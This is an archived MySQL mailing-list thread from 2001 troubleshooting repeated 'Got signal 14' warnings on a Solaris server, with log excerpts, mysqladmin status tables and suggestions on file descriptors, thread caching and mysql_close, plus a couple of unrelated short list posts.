Sinisa, SM Alex, you ran out of filedescriptors or out of anodes, depending on OS SM that you are using. I though filedescriptors could be the problem. I only had 256. I modified the system in order to have 1024 : = [1:16pm]# ulimit -a time(seconds)unlimited file(blocks) unlimited data(kbytes) unlimited stack(kbytes)8192 coredump(blocks) 0 nofiles(descriptors) 1024 vmemory(kbytes) unlimited = But still : = 010321 13:22:42 Warning: Got signal 14 from thread 4 010321 13:22:44 Warning: Got signal 14 from thread 8 010321 13:22:46 Warning: Got signal 14 from thread 5 010321 13:22:48 Warning: Got signal 14 from thread 8 010321 13:22:50 Warning: Got signal 14 from thread 4 010321 13:22:52 Warning: Got signal 14 from thread 4 010321 13:22:54 Warning: Got signal 14 from thread 4 010321 13:22:56 Warning: Got signal 14 from thread 4 010321 13:22:58 Warning: Got signal 14 from thread 8 010321 13:23:00 Warning: Got signal 14 from thread 8 = How to know if filedescriptors or anode are the problem ? The extended stats below shows | Max_used_connections | 17 | | Open_files | 8 | | Open_tables | 18 | I'm fare from 1024 filedescriptors. = [1:23pm]# mysqladmin ext +--+-+ | Variable_name| Value | +--+-+ | Aborted_clients | 0 | | Aborted_connects | 0 | | Bytes_received | 1009183 | | Bytes_sent | 468860 | | Connections | 46 | | Created_tmp_disk_tables | 1 | | Created_tmp_tables | 1 | | Created_tmp_files| 0 | | Delayed_insert_threads | 0 | | Delayed_writes | 0 | | Delayed_errors | 0 | | Flush_commands | 1 | | Handler_delete | 0 | | Handler_read_first | 1 | | Handler_read_key | 18430 | | Handler_read_next| 3 | | Handler_read_prev| 0 | | Handler_read_rnd | 6 | | Handler_read_rnd_next| 48 | | Handler_update | 0 | | Handler_write| 70 | | Key_blocks_used | 3 | | Key_read_requests| 7 | | Key_reads| 3 | | Key_write_requests | 0 | | Key_writes | 0 | | Max_used_connections | 17 | | Not_flushed_key_blocks | 0 | | Not_flushed_delayed_rows | 0 | | Open_tables | 18 | | Open_files | 8 | | Open_streams | 0 | | Opened_tables| 24 | | Questions| 9331| | Select_full_join | 0 | | Select_full_range_join | 0 | | Select_range | 0 | | Select_range_check | 0 | | Select_scan | 1 | | Slave_running| OFF | | Slave_open_temp_tables | 0 | | Slow_launch_threads | 0 | | Slow_queries | 0 | | Sort_merge_passes| 0 | | Sort_range | 0 | | Sort_rows| 6 | | Sort_scan| 2 | | Table_locks_immediate| 9308| | Table_locks_waited | 0 | | Threads_cached | 0 | | Threads_created | 18 | | Threads_connected| 18 | | Threads_running | 1 | | Uptime | 501 | +--+-+ SM It could also be caused by a bug in TCP/IP part of the kernel, but the SM above causes are much more likely. TCP/IP ? How to know if it could be the problem ? SM Check out both your global and ulimit values. I have copied "ulimit -a" exit in this email. Regards, Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[2]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
SM Alex, you ran out of filedescriptors or out of anodes, depending on OS
SM that you are using.
I though filedescriptors could be the problem. I only had 256. I
modified the system in order to have 1024 :
=
[1:16pm]# ulimit -a
time(seconds)unlimited
file(blocks) unlimited
data(kbytes) unlimited
stack(kbytes)8192
coredump(blocks) 0
nofiles(descriptors) 1024
vmemory(kbytes) unlimited
=
But still :
=
010321 13:22:42 Warning: Got signal 14 from thread 4
010321 13:22:44 Warning: Got signal 14 from thread 8
010321 13:22:46 Warning: Got signal 14 from thread 5
010321 13:22:48 Warning: Got signal 14 from thread 8
010321 13:22:50 Warning: Got signal 14 from thread 4
010321 13:22:52 Warning: Got signal 14 from thread 4
010321 13:22:54 Warning: Got signal 14 from thread 4
010321 13:22:56 Warning: Got signal 14 from thread 4
010321 13:22:58 Warning: Got signal 14 from thread 8
010321 13:23:00 Warning: Got signal 14 from thread 8
=
How to know if filedescriptors or anode are the problem ?
The extended stats below shows
| Max_used_connections | 17 |
| Open_files | 8 |
| Open_tables | 18 |
I'm fare from 1024 filedescriptors.
=
[1:23pm]# mysqladmin ext
+--+-+
| Variable_name| Value |
+--+-+
| Aborted_clients | 0 |
| Aborted_connects | 0 |
| Bytes_received | 1009183 |
| Bytes_sent | 468860 |
| Connections | 46 |
| Created_tmp_disk_tables | 1 |
| Created_tmp_tables | 1 |
| Created_tmp_files| 0 |
| Delayed_insert_threads | 0 |
| Delayed_writes | 0 |
| Delayed_errors | 0 |
| Flush_commands | 1 |
| Handler_delete | 0 |
| Handler_read_first | 1 |
| Handler_read_key | 18430 |
| Handler_read_next| 3 |
| Handler_read_prev| 0 |
| Handler_read_rnd | 6 |
| Handler_read_rnd_next| 48 |
| Handler_update | 0 |
| Handler_write| 70 |
| Key_blocks_used | 3 |
| Key_read_requests| 7 |
| Key_reads| 3 |
| Key_write_requests | 0 |
| Key_writes | 0 |
| Max_used_connections | 17 |
| Not_flushed_key_blocks | 0 |
| Not_flushed_delayed_rows | 0 |
| Open_tables | 18 |
| Open_files | 8 |
| Open_streams | 0 |
| Opened_tables| 24 |
| Questions| 9331|
| Select_full_join | 0 |
| Select_full_range_join | 0 |
| Select_range | 0 |
| Select_range_check | 0 |
| Select_scan | 1 |
| Slave_running| OFF |
| Slave_open_temp_tables | 0 |
| Slow_launch_threads | 0 |
| Slow_queries | 0 |
| Sort_merge_passes| 0 |
| Sort_range | 0 |
| Sort_rows| 6 |
| Sort_scan| 2 |
| Table_locks_immediate| 9308|
| Table_locks_waited | 0 |
| Threads_cached | 0 |
| Threads_created | 18 |
| Threads_connected| 18 |
| Threads_running | 1 |
| Uptime | 501 |
+--+-+
SM It could also be caused by a bug in TCP/IP part of the kernel, but the
SM above causes are much more likely.
TCP/IP ? How to know if it could be the problem ?
SM Check out both your global and ulimit values.
I have copied "ulimit -a" exit in this email.
Regards,
Alex.
What OS is that ??
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
MySQL data structure
Hello. I am interested to know the structure of MySQL. My ref book "MySQL and mSQL" by O'Reilly states that for a table named book under a database Test following is the structure: book.ISM book.ISD and book. frm On my system MySQL 3.23.27 beta the structure is different. book.MYI book.MYD book.frm Any suggestions would be welcome. Suggestions on backing up the MySQL db as well. Anyone has experience of hosting MySQL/PHP ? Any recommended server/host/company? Thanks in advance
RE: Read/write table lock
Yes, I think this is the problem. But how can I make a read/write lock with
only one lock?
Best regards,
Fabio.
--
De: Gerald L. Clark[SMTP:[EMAIL PROTECTED]]
Enviado el: Martes, Marzo 20, 2001 04:33 PM
Para: Fabio Galarraga
CC: 'Mysql mailing list'
Asunto: Re: Read/write table lock
Fabio Galarraga wrote:
Hi to all:
Somebody knows how to make a read/writa table lock?
I'm trying with java source:
stmt.execute("LOCK TABLES table-x READ, table-x WRITE");
stmt.execute("UNLOCK TABLES");
but it fails.
Best regards,
Fabio Galarraga
[EMAIL PROTECTED]
Well you are locking table-x twice in the same lock.
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Warning: Got signal 14 from thread X
Sinisa, SM Do you use thread cacheing ?? SM Please turn it off temporarily and see if problem reccurs. Currently I have : my.cnf set-variable= thread_cache=8 set-variable= thread_concurrency=8 mysqladmin var | thread_cache_size | 8 | | thread_concurrency| 8 | | thread_stack | 65536 | mysqladmin ext | Threads_cached| 0 | | Threads_created | 18 | | Threads_connected | 18 | | Threads_running | 1 | If I comment the set-variable lines about thread-cache in my.cnf, I have that : mysqladmin var | thread_cache_size| 0 | - means no thread caching ? | thread_concurrency | 10 | | thread_stack | 65536 | But still : 010321 13:39:46 mysqld started Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections 010321 13:39:52 Warning: Got signal 14 from thread 5 010321 13:40:33 Warning: Got signal 14 from thread 5 010321 13:40:35 Warning: Got signal 14 from thread 4 010321 13:40:37 Warning: Got signal 14 from thread 5 010321 13:40:39 Warning: Got signal 14 from thread 8 010321 13:40:41 Warning: Got signal 14 from thread 8 010321 13:40:43 Warning: Got signal 14 from thread 5 010321 13:40:45 Warning: Got signal 14 from thread 8 010321 13:40:47 Warning: Got signal 14 from thread 5 010321 13:40:49 Warning: Got signal 14 from thread 4 010321 13:40:51 Warning: Got signal 14 from thread 8 Regards, Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[4]: Warning: Got signal 14 from thread X
Sinisa, SM SM Alex, you ran out of filedescriptors or out of anodes, depending on OS SM SM that you are using. SM SM I though filedescriptors could be the problem. I only had 256. I SM modified the system in order to have 1024 : SM SM = SM [1:16pm]# ulimit -a SM time(seconds)unlimited SM file(blocks) unlimited SM data(kbytes) unlimited SM stack(kbytes)8192 SM coredump(blocks) 0 SM nofiles(descriptors) 1024 SM vmemory(kbytes) unlimited SM = SM SM But still : SM = SM 010321 13:22:42 Warning: Got signal 14 from thread 4 SM 010321 13:22:44 Warning: Got signal 14 from thread 8 SM 010321 13:22:46 Warning: Got signal 14 from thread 5 SM 010321 13:22:48 Warning: Got signal 14 from thread 8 SM 010321 13:22:50 Warning: Got signal 14 from thread 4 SM 010321 13:22:52 Warning: Got signal 14 from thread 4 SM 010321 13:22:54 Warning: Got signal 14 from thread 4 SM 010321 13:22:56 Warning: Got signal 14 from thread 4 SM 010321 13:22:58 Warning: Got signal 14 from thread 8 SM 010321 13:23:00 Warning: Got signal 14 from thread 8 SM = SM SM How to know if filedescriptors or anode are the problem ? SM SM The extended stats below shows SM SM | Max_used_connections | 17 | SM | Open_files | 8 | SM | Open_tables | 18 | SM SM I'm fare from 1024 filedescriptors. SM SM = SM[1:23pm]# mysqladmin ext SM +--+-+ SM | Variable_name| Value | SM +--+-+ SM | Aborted_clients | 0 | SM | Aborted_connects | 0 | SM | Bytes_received | 1009183 | SM | Bytes_sent | 468860 | SM | Connections | 46 | SM | Created_tmp_disk_tables | 1 | SM | Created_tmp_tables | 1 | SM | Created_tmp_files| 0 | SM | Delayed_insert_threads | 0 | SM | Delayed_writes | 0 | SM | Delayed_errors | 0 | SM | Flush_commands | 1 | SM | Handler_delete | 0 | SM | Handler_read_first | 1 | SM | Handler_read_key | 18430 | SM | Handler_read_next| 3 | SM | Handler_read_prev| 0 | SM | Handler_read_rnd | 6 | SM | Handler_read_rnd_next| 48 | SM | Handler_update | 0 | SM | Handler_write| 70 | SM | Key_blocks_used | 3 | SM | Key_read_requests| 7 | SM | Key_reads| 3 | SM | Key_write_requests | 0 | SM | Key_writes | 0 | SM | Max_used_connections | 17 | SM | Not_flushed_key_blocks | 0 | SM | Not_flushed_delayed_rows | 0 | SM | Open_tables | 18 | SM | Open_files | 8 | SM | Open_streams | 0 | SM | Opened_tables| 24 | SM | Questions| 9331| SM | Select_full_join | 0 | SM | Select_full_range_join | 0 | SM | Select_range | 0 | SM | Select_range_check | 0 | SM | Select_scan | 1 | SM | Slave_running| OFF | SM | Slave_open_temp_tables | 0 | SM | Slow_launch_threads | 0 | SM | Slow_queries | 0 | SM | Sort_merge_passes| 0 | SM | Sort_range | 0 | SM | Sort_rows| 6 | SM | Sort_scan| 2 | SM | Table_locks_immediate| 9308| SM | Table_locks_waited | 0 | SM | Threads_cached | 0 | SM | Threads_created | 18 | SM | Threads_connected| 18 | SM | Threads_running | 1 | SM | Uptime | 501 | SM +--+-+ SM SM SM It could also be caused by a bug in TCP/IP part of the kernel, but the SM SM above causes are much more likely. SM SM TCP/IP ? How to know if it could be the problem ? SM SM SM Check out both your global and ulimit values. SM SM I have copied "ulimit -a" exit in this email. SM SM SM Regards, SM Alex. SM SM SM SM What OS is that ?? From mysqlbug : Server version 3.23.35 Protocol version10 Connection Localhost via UNIX socket UNIX socket
Re: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
SM Do you use thread cacheing ??
SM Please turn it off temporarily and see if problem reccurs.
Currently I have :
my.cnf
set-variable= thread_cache=8
set-variable= thread_concurrency=8
mysqladmin var
| thread_cache_size | 8 |
| thread_concurrency| 8 |
| thread_stack | 65536 |
mysqladmin ext
| Threads_cached| 0 |
| Threads_created | 18 |
| Threads_connected | 18 |
| Threads_running | 1 |
If I comment the set-variable lines about thread-cache in my.cnf, I
have that :
mysqladmin var
| thread_cache_size| 0 | - means no thread caching ?
| thread_concurrency | 10 |
| thread_stack | 65536 |
But still :
010321 13:39:46 mysqld started
Innobase: Started
/usr/local/mysql/libexec/mysqld: ready for connections
010321 13:39:52 Warning: Got signal 14 from thread 5
010321 13:40:33 Warning: Got signal 14 from thread 5
010321 13:40:35 Warning: Got signal 14 from thread 4
010321 13:40:37 Warning: Got signal 14 from thread 5
010321 13:40:39 Warning: Got signal 14 from thread 8
010321 13:40:41 Warning: Got signal 14 from thread 8
010321 13:40:43 Warning: Got signal 14 from thread 5
010321 13:40:45 Warning: Got signal 14 from thread 8
010321 13:40:47 Warning: Got signal 14 from thread 5
010321 13:40:49 Warning: Got signal 14 from thread 4
010321 13:40:51 Warning: Got signal 14 from thread 8
Regards,
Alex.
Hi!
You have Solaris with 8 or 10 CPU's ??
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[4]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes: Sinisa, SM SM Alex, you ran out of filedescriptors or out of anodes, depending on OS SM SM that you are using. SM SM I though filedescriptors could be the problem. I only had 256. I SM modified the system in order to have 1024 : SM SM = SM [1:16pm]# ulimit -a SM time(seconds)unlimited SM file(blocks) unlimited SM data(kbytes) unlimited SM stack(kbytes)8192 SM coredump(blocks) 0 SM nofiles(descriptors) 1024 SM vmemory(kbytes) unlimited SM = SM SM But still : SM = SM 010321 13:22:42 Warning: Got signal 14 from thread 4 SM 010321 13:22:44 Warning: Got signal 14 from thread 8 SM 010321 13:22:46 Warning: Got signal 14 from thread 5 SM 010321 13:22:48 Warning: Got signal 14 from thread 8 SM 010321 13:22:50 Warning: Got signal 14 from thread 4 SM 010321 13:22:52 Warning: Got signal 14 from thread 4 SM 010321 13:22:54 Warning: Got signal 14 from thread 4 SM 010321 13:22:56 Warning: Got signal 14 from thread 4 SM 010321 13:22:58 Warning: Got signal 14 from thread 8 SM 010321 13:23:00 Warning: Got signal 14 from thread 8 SM = SM SM How to know if filedescriptors or anode are the problem ? SM SM The extended stats below shows SM SM | Max_used_connections | 17 | SM | Open_files | 8 | SM | Open_tables | 18 | SM SM I'm fare from 1024 filedescriptors. SM SM = SM[1:23pm]# mysqladmin ext SM +--+-+ SM | Variable_name| Value | SM +--+-+ SM | Aborted_clients | 0 | SM | Aborted_connects | 0 | SM | Bytes_received | 1009183 | SM | Bytes_sent | 468860 | SM | Connections | 46 | SM | Created_tmp_disk_tables | 1 | SM | Created_tmp_tables | 1 | SM | Created_tmp_files| 0 | SM | Delayed_insert_threads | 0 | SM | Delayed_writes | 0 | SM | Delayed_errors | 0 | SM | Flush_commands | 1 | SM | Handler_delete | 0 | SM | Handler_read_first | 1 | SM | Handler_read_key | 18430 | SM | Handler_read_next| 3 | SM | Handler_read_prev| 0 | SM | Handler_read_rnd | 6 | SM | Handler_read_rnd_next| 48 | SM | Handler_update | 0 | SM | Handler_write| 70 | SM | Key_blocks_used | 3 | SM | Key_read_requests| 7 | SM | Key_reads| 3 | SM | Key_write_requests | 0 | SM | Key_writes | 0 | SM | Max_used_connections | 17 | SM | Not_flushed_key_blocks | 0 | SM | Not_flushed_delayed_rows | 0 | SM | Open_tables | 18 | SM | Open_files | 8 | SM | Open_streams | 0 | SM | Opened_tables| 24 | SM | Questions| 9331| SM | Select_full_join | 0 | SM | Select_full_range_join | 0 | SM | Select_range | 0 | SM | Select_range_check | 0 | SM | Select_scan | 1 | SM | Slave_running| OFF | SM | Slave_open_temp_tables | 0 | SM | Slow_launch_threads | 0 | SM | Slow_queries | 0 | SM | Sort_merge_passes| 0 | SM | Sort_range | 0 | SM | Sort_rows| 6 | SM | Sort_scan| 2 | SM | Table_locks_immediate| 9308| SM | Table_locks_waited | 0 | SM | Threads_cached | 0 | SM | Threads_created | 18 | SM | Threads_connected| 18 | SM | Threads_running | 1 | SM | Uptime | 501 | SM +--+-+ SM SM SM It could also be caused by a bug in TCP/IP part of the kernel, but the SM SM above causes are much more likely. SM SM TCP/IP ? How to know if it could be the problem ? SM SM SM Check out both your global and ulimit values. SM SM I have copied "ulimit -a" exit in this
Re[2]: Warning: Got signal 14 from thread X
Sinisa, SM SM Do you use thread cacheing ?? SM SM SM Please turn it off temporarily and see if problem reccurs. SM SM Currently I have : SM SM SM my.cnf SM SM set-variable= thread_cache=8 SM set-variable= thread_concurrency=8 SM SM SM mysqladmin var SM SM | thread_cache_size | 8 | SM | thread_concurrency| 8 | SM | thread_stack | 65536 | SM SM SM mysqladmin ext SM SM | Threads_cached| 0 | SM | Threads_created | 18 | SM | Threads_connected | 18 | SM | Threads_running | 1 | SM SM SM If I comment the set-variable lines about thread-cache in my.cnf, I SM have that : SM SM SM mysqladmin var SM SM | thread_cache_size| 0 | - means no thread caching ? SM | thread_concurrency | 10 | SM | thread_stack | 65536 | SM SM SM But still : SM SM 010321 13:39:46 mysqld started SM Innobase: Started SM /usr/local/mysql/libexec/mysqld: ready for connections SM 010321 13:39:52 Warning: Got signal 14 from thread 5 SM 010321 13:40:33 Warning: Got signal 14 from thread 5 SM 010321 13:40:35 Warning: Got signal 14 from thread 4 SM 010321 13:40:37 Warning: Got signal 14 from thread 5 SM 010321 13:40:39 Warning: Got signal 14 from thread 8 SM 010321 13:40:41 Warning: Got signal 14 from thread 8 SM 010321 13:40:43 Warning: Got signal 14 from thread 5 SM 010321 13:40:45 Warning: Got signal 14 from thread 8 SM 010321 13:40:47 Warning: Got signal 14 from thread 5 SM 010321 13:40:49 Warning: Got signal 14 from thread 4 SM 010321 13:40:51 Warning: Got signal 14 from thread 8 SM SM Regards, SM Alex. SM SM SM SM Hi! SM You have Solaris with 8 or 10 CPU's ?? Solaris with 4 CPU's. In the example conf file there is "Try number of CPU's*2". That's why I put 8. Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[2]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
SM SM Do you use thread cacheing ??
SM
SM SM Please turn it off temporarily and see if problem reccurs.
SM
SM Currently I have :
SM
SM
SM my.cnf
SM
SM set-variable= thread_cache=8
SM set-variable= thread_concurrency=8
SM
SM
SM mysqladmin var
SM
SM | thread_cache_size | 8 |
SM | thread_concurrency| 8 |
SM | thread_stack | 65536 |
SM
SM
SM mysqladmin ext
SM
SM | Threads_cached| 0 |
SM | Threads_created | 18 |
SM | Threads_connected | 18 |
SM | Threads_running | 1 |
SM
SM
SM If I comment the set-variable lines about thread-cache in my.cnf, I
SM have that :
SM
SM
SM mysqladmin var
SM
SM | thread_cache_size| 0 | - means no thread caching ?
SM | thread_concurrency | 10 |
SM | thread_stack | 65536 |
SM
SM
SM But still :
SM
SM 010321 13:39:46 mysqld started
SM Innobase: Started
SM /usr/local/mysql/libexec/mysqld: ready for connections
SM 010321 13:39:52 Warning: Got signal 14 from thread 5
SM 010321 13:40:33 Warning: Got signal 14 from thread 5
SM 010321 13:40:35 Warning: Got signal 14 from thread 4
SM 010321 13:40:37 Warning: Got signal 14 from thread 5
SM 010321 13:40:39 Warning: Got signal 14 from thread 8
SM 010321 13:40:41 Warning: Got signal 14 from thread 8
SM 010321 13:40:43 Warning: Got signal 14 from thread 5
SM 010321 13:40:45 Warning: Got signal 14 from thread 8
SM 010321 13:40:47 Warning: Got signal 14 from thread 5
SM 010321 13:40:49 Warning: Got signal 14 from thread 4
SM 010321 13:40:51 Warning: Got signal 14 from thread 8
SM
SM Regards,
SM Alex.
SM
SM
SM
SM Hi!
SM You have Solaris with 8 or 10 CPU's ??
Solaris with 4 CPU's. In the example conf file there is "Try number
of CPU's*2". That's why I put 8.
Alex.
Ok, do not erase your binary, save it and try our binary for 2.7.
If you still get TCP errors, rebuilding MySQL will be the sole
solution.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[6]: Warning: Got signal 14 from thread X
Sinisa, SM SM SM Alex, you ran out of filedescriptors or out of anodes, depending on OS SM SM SM that you are using. SM SM SM SM I though filedescriptors could be the problem. I only had 256. I SM SM modified the system in order to have 1024 : SM SM SM SM = SM SM [1:16pm]# ulimit -a SM SM time(seconds)unlimited SM SM file(blocks) unlimited SM SM data(kbytes) unlimited SM SM stack(kbytes)8192 SM SM coredump(blocks) 0 SM SM nofiles(descriptors) 1024 SM SM vmemory(kbytes) unlimited SM SM = SM SM SM SM But still : SM SM = SM SM 010321 13:22:42 Warning: Got signal 14 from thread 4 SM SM 010321 13:22:44 Warning: Got signal 14 from thread 8 SM SM 010321 13:22:46 Warning: Got signal 14 from thread 5 SM SM 010321 13:22:48 Warning: Got signal 14 from thread 8 SM SM 010321 13:22:50 Warning: Got signal 14 from thread 4 SM SM 010321 13:22:52 Warning: Got signal 14 from thread 4 SM SM 010321 13:22:54 Warning: Got signal 14 from thread 4 SM SM 010321 13:22:56 Warning: Got signal 14 from thread 4 SM SM 010321 13:22:58 Warning: Got signal 14 from thread 8 SM SM 010321 13:23:00 Warning: Got signal 14 from thread 8 SM SM = SM SM SM SM How to know if filedescriptors or anode are the problem ? SM SM SM SM The extended stats below shows SM SM SM SM | Max_used_connections | 17 | SM SM | Open_files | 8 | SM SM | Open_tables | 18 | SM SM SM SM I'm fare from 1024 filedescriptors. SM SM SM SM = SM SM[1:23pm]# mysqladmin ext SM SM +--+-+ SM SM | Variable_name| Value | SM SM +--+-+ SM SM | Aborted_clients | 0 | SM SM | Aborted_connects | 0 | SM SM | Bytes_received | 1009183 | SM SM | Bytes_sent | 468860 | SM SM | Connections | 46 | SM SM | Created_tmp_disk_tables | 1 | SM SM | Created_tmp_tables | 1 | SM SM | Created_tmp_files| 0 | SM SM | Delayed_insert_threads | 0 | SM SM | Delayed_writes | 0 | SM SM | Delayed_errors | 0 | SM SM | Flush_commands | 1 | SM SM | Handler_delete | 0 | SM SM | Handler_read_first | 1 | SM SM | Handler_read_key | 18430 | SM SM | Handler_read_next| 3 | SM SM | Handler_read_prev| 0 | SM SM | Handler_read_rnd | 6 | SM SM | Handler_read_rnd_next| 48 | SM SM | Handler_update | 0 | SM SM | Handler_write| 70 | SM SM | Key_blocks_used | 3 | SM SM | Key_read_requests| 7 | SM SM | Key_reads| 3 | SM SM | Key_write_requests | 0 | SM SM | Key_writes | 0 | SM SM | Max_used_connections | 17 | SM SM | Not_flushed_key_blocks | 0 | SM SM | Not_flushed_delayed_rows | 0 | SM SM | Open_tables | 18 | SM SM | Open_files | 8 | SM SM | Open_streams | 0 | SM SM | Opened_tables| 24 | SM SM | Questions| 9331| SM SM | Select_full_join | 0 | SM SM | Select_full_range_join | 0 | SM SM | Select_range | 0 | SM SM | Select_range_check | 0 | SM SM | Select_scan | 1 | SM SM | Slave_running| OFF | SM SM | Slave_open_temp_tables | 0 | SM SM | Slow_launch_threads | 0 | SM SM | Slow_queries | 0 | SM SM | Sort_merge_passes| 0 | SM SM | Sort_range | 0 | SM SM | Sort_rows| 6 | SM SM | Sort_scan| 2 | SM SM | Table_locks_immediate| 9308| SM SM | Table_locks_waited | 0 | SM SM | Threads_cached | 0 | SM SM | Threads_created | 18 | SM SM | Threads_connected| 18 | SM SM | Threads_running | 1 | SM SM | Uptime | 501 | SM SM +--+-+ SM SM SM SM SM It could also be caused by
Re[4]: Warning: Got signal 14 from thread X
Sinisa, SM Ok, do not erase your binary, save it and try our binary for 2.7. SM If you still get TCP errors, rebuilding MySQL will be the sole SM solution. First, we don't know if it's TCP errors isn't it ? Second, the binary I'm using now is one I built on my own from the sources. Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[6]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
Yes, for now. But in the final application, there will be a lot of
connections from network.
This entire problem with signal 14 can be due to PHP not using
mysql_close.
Please try to explicitely close connection at the programs exits and
see if problem reccurs.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[4]: Warning: Got signal 14 from thread X
Sinisa, SM Ok, do not erase your binary, save it and try our binary for 2.7. SM If you still get TCP errors, rebuilding MySQL will be the sole SM solution. Another thing to underscore, is that with Mysql-3.23.33 built on my own from the sources, I never had these messages in the log. 010321 13:58:25 Warning: Got signal 14 from thread 5 010321 13:58:27 Warning: Got signal 14 from thread 5 010321 13:58:29 Warning: Got signal 14 from thread 8 010321 13:58:31 Warning: Got signal 14 from thread 8 010321 13:58:33 Warning: Got signal 14 from thread 4 010321 13:58:35 Warning: Got signal 14 from thread 5 010321 13:58:37 Warning: Got signal 14 from thread 4 010321 13:58:39 Warning: Got signal 14 from thread 5 010321 13:58:41 Warning: Got signal 14 from thread 4 Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[4]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
SM Ok, do not erase your binary, save it and try our binary for 2.7.
SM If you still get TCP errors, rebuilding MySQL will be the sole
SM solution.
First, we don't know if it's TCP errors isn't it ?
Second, the binary I'm using now is one I built on my own from the
sources.
Alex.
The problem can come from some error in building.
But it could be only a missing mysql_close, only surfacing in
different way then it should be. Therefore try my recommandation on
putting mysql_close() at program exits.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[8]: Warning: Got signal 14 from thread X
